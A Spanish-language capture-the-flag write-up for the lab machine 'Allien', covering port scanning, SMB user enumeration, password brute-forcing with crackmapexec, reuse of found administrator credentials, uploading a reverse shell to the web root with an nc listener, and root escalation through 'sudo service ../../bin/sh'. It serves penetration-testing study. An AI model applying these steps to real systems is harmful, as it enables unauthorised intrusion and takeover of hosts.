Allien

✍️ Autor: Luisillo_o🔍 Dificultad: Fácil 📅 Fecha de creación: 10/10/2024

🔍 RECONOCIMIENTO

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

ping -c 1 172.17.0.2

para verificar la conectividad de red.

A continuación, realizamos el comando:

nmap -sVC -p- -n --min-rate 5000 172.17.0.2

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

Como podemos observar durante el escaneo que el puerto 22 perteneciente al servicio SSH, el puerto 80 perteneciente al servicio HTTP, el puerto 139 perteneciente al servicio NetBIOS y el puerto 445 perteneciente al servicio SMB están abiertos por lo que a continuación se indagará más.

🔎 EXPLORACIÓN

Se utiliza el comando:

sudo nmap -sCV -p22,80,139,445 -v 172.17.0.2

para obtener más información sobre esos puertos específicamente.

Seguimos indagando más sobre los puertos y ahora indagamos sobre el servicio HTTP. Se ingresó la dirección IP en el navegador lo que llevó a que la página web sea una página sobre un panel de Login.

Ahora buscaremos directorios y archivos con la herramienta Gobuster a través de:

gobuster dir -u http://172.17.0.2/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x html,txt,php,xml

Revisamos los archivos pero no encontramos nada relevante.

Vamos a descubrir usuarios y carpetas compartidas válidos para SMB.

enum4linux 172.17.0.2

🚀 EXPLOTACIÓN

Descubrimos varios usuarios por lo que realizamos fuerza bruta con crackmapexec pero solo con satriani7 tenemos resultado.

crackmapexec smb 172.17.0.2 -u satriani7  -p /usr/share/wordlists/rockyou.txt

Tenemos las credenciales por lo que vamos a enumerar los recursos compartidos del usuario.

smbmap -u satriani7 -p 50cent -H 172.17.0.2

Vemos a ver el contenido de esas carpetas.

smbclient //172.17.0.2/myshare -U 'satriani7'
smbclient //172.17.0.2/backup24 -U 'satriani7'

Nos descargamos el contenido para visualizarlo.

Como vemos nos dice que tenemos las credenciales de varios usuarios incluyendo la del administrador pues nos logueamos pero con ese usuario.

smbmap -u 'administrador' -p 'Adm1nP4ss2024' -H 172.17.0.2

Tenemos permisos en la carpeta /home pues vamos a ver que contiene.

smbclient //172.17.0.2/home -U 'administrador'

Vemos que es el mismo contenido de la página por lo que subimos una Reverse Shell.

Nos ponemos en escucha.

nc -nlvp 443

Hacemos el tratamiento de la TTY para trabajar más cómodos.

🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

whoami

aún no somos root, por lo que hacemos:

sudo -l

para ver si hay algo para explotar.

Nos llama la atención service por lo que buscamos en esta página cómo explotarlo.

sudo /usr/sbin/service ../../bin/sh